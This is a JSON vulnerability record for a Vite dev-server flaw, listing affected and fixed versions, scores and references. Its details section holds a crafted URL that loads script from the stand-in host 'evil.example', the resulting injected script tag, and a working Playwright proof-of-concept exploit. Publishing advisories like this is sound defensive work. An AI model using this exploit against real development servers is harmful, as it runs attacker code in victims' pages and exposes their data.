{"schema":"threatline.record/2","record":{"id":"CVE-2026-112945","aliases":["GHSA-9jrq-w75r-8gcw"],"summary":"Vite: Cross origin script execution through Vite custom middleware","details":"### Summary\n\nWhen accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this.\n- the transformed HTML contains an inline module script\n- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions\n\n### Details\n\n[Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:\n\n```js\nconst url = req.originalUrl\ntemplate = await vite.transformIndexHtml(url, template)\n```\n\nFor a development server at `http://localhost:5173`, an attacker can send this URL:\n\n```text\nhttp://localhost:5173//evil.example/payload.js?/../../package.json\n```\n\nIn Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text.\n\nChromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`.\n\n[The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`:\n\n```html\n<script type=\"module\" src=\"//evil.example/payload.js?/../../package.json?html-proxy&index=0.js\"></script>\n```\n\nThe generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.\n\n### PoC\n\n```js\nimport { createServer as createHttpServer } from 'node:http'\nimport { createRequire } from 'node:module'\nimport { dirname, join } from 'node:path'\nimport { fileURLToPath, pathToFileURL } from 'node:url'\n\nconst directory = dirname(fileURLToPath(import.meta.url))\nconst require = createRequire(join(directory, 'package.json'))\nconst { chromium } = require('playwright-chromium')\nconst viteModule = await import(\n  pathToFileURL(require.resolve('vite')).href\n)\nconst createViteServer =\n  viteModule.createServer ?? viteModule.default.createServer\n\n// This loopback server stands in for a separately hosted attacker website.\nconst attackerPort = 4173\nconst exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`\nconst html = '<script type=\"module\">document.body.textContent = \"Vite app\"</script>'\n\nconst listen = (server, port = 0) =>\n  new Promise((resolve, reject) => {\n    server.once('error', reject)\n    server.listen(port, '127.0.0.1', () => {\n      server.off('error', reject)\n      resolve(server.address().port)\n    })\n  })\n\nconst close = (server) =>\n  new Promise((resolve, reject) => {\n    server.close((error) => (error ? reject(error) : resolve()))\n  })\n\nlet attackerRequest = null\nconst attacker = createHttpServer((request, response) => {\n  attackerRequest = request.url\n  response.writeHead(200, {\n    'access-control-allow-origin': '*',\n    'content-type': 'text/javascript',\n  })\n  response.end(\n    \"document.documentElement.dataset.viteXssPoc = 'executed'\",\n  )\n})\n\nconst vite = await createViteServer({\n  appType: 'custom',\n  configFile: false,\n  root: directory,\n  server: {\n    hmr: false,\n    middlewareMode: true,\n    watch: null,\n  },\n})\n\nconst application = createHttpServer((request, response) => {\n  vite.middlewares(request, response, async (error) => {\n    if (error) {\n      response.destroy(error)\n      return\n    }\n\n    try {\n      const transformed = await vite.transformIndexHtml(request.url, html)\n      response.writeHead(200, { 'content-type': 'text/html' })\n      response.end(transformed)\n    } catch (transformError) {\n      response.destroy(transformError)\n    }\n  })\n})\n\nawait listen(attacker, attackerPort)\nconst applicationPort = await listen(application)\nconst browser = await chromium.launch({ headless: true })\n\ntry {\n  const page = await browser.newPage()\n  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)\n  await page.waitForFunction(\n    () => document.documentElement.dataset.viteXssPoc === 'executed',\n  )\n\n  console.log(`attacker request: ${attackerRequest}`)\n  console.log('JavaScript from the attacker server executed in the Vite page')\n} finally {\n  await browser.close()\n  await close(application)\n  await vite.close()\n  await close(attacker)\n}\n```\n\nObserved output on Vite 8.2.1:\n```text\nattacker request: /payload.js?/../../package.json?html-proxy&index=0.js\nJavaScript from the attacker server executed in the Vite page\n```","categories":["Libraries & packages"],"product":"vite","vendor":"vitejs","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T16:48:15Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vite"},"range":">= 8.3.0, <= 8.3.2"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T16:48:15Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vite"},"range":">= 8.2.0, <= 8.2.3"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T16:48:15Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vite"},"range":">= 8.0.0, <= 8.1.5"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T16:48:15Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vite"},"range":">= 7.0.0, <= 7.3.6"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T16:48:15Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vite"},"range":"<= 6.4.3"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T16:48:15Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vite-plus"},"range":"<= 1.0.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-112945","source_modified_at":"2026-10-20T15:00:58.170Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"vite","vendor":"vitejs","versions":[{"version":">= 8.3.0, < 8.3.3","status":"affected"},{"version":">= 8.2.0, < 8.2.4","status":"affected"},{"version":">= 8.0.0, < 8.1.6","status":"affected"},{"version":">= 7.0.0, < 7.3.7","status":"affected"},{"version":"< 6.4.4","status":"affected"}],"defaultStatus":null},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-112945","source_modified_at":"2026-10-20T15:00:58.170Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"vite-plus","vendor":"vitejs","versions":[{"version":"< 1.1.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T17:00:26.569382874Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"ranges":[{"type":"SEMVER","events":[{"introduced":"8.3.0"},{"fixed":"8.3.3"}]}],"versions":[]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T17:00:26.569382874Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"ranges":[{"type":"SEMVER","events":[{"introduced":"8.2.0"},{"fixed":"8.2.4"}]}],"versions":[]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T17:00:26.569382874Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0"},{"fixed":"8.1.6"}]}],"versions":[]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T17:00:26.569382874Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"7.3.7"}]}],"versions":[]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T17:00:26.569382874Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.4.4"}]}],"versions":[]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T17:00:26.569382874Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vite-plus","ecosystem":"npm","purl":"pkg:npm/vite-plus"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.0"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T16:48:15Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vite"},"version":"8.3.3"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T16:48:15Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vite"},"version":"8.2.4"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T16:48:15Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vite"},"version":"8.1.6"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T16:48:15Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vite"},"version":"7.3.7"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T16:48:15Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vite"},"version":"6.4.4"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T16:48:15Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vite-plus"},"version":"1.1.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T17:00:26.569382874Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"version":"8.3.3"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T17:00:26.569382874Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"version":"8.2.4"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T17:00:26.569382874Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"version":"8.1.6"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T17:00:26.569382874Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"version":"7.3.7"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T17:00:26.569382874Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"version":"6.4.4"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","source_modified_at":"2026-10-21T17:00:26.569382874Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vite-plus","ecosystem":"npm","purl":"pkg:npm/vite-plus"},"version":"1.1.0"}],"cvss":2.1,"severity":"Low","kev":{"listed":false},"epss":{"probability":0.00467,"percentile":0.39466,"score_date":"2026-10-23"},"published_at":"2026-10-20T15:00:58.170Z","modified_at":"2026-10-21T17:00:26.569382874Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-21T16:48:15Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-112945","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-20T15:00:58.170Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-21T17:00:26.569382874Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112945","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw","tags":["x_refsource_CONFIRM"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112945","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/vitejs/vite/pull/23653","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-21T17:00:26.569382874Z","content_hash":"c7a8afd1d33d87484e7f59ba5b2323db60c3bfdaee6701178edf464f53604b90"}}
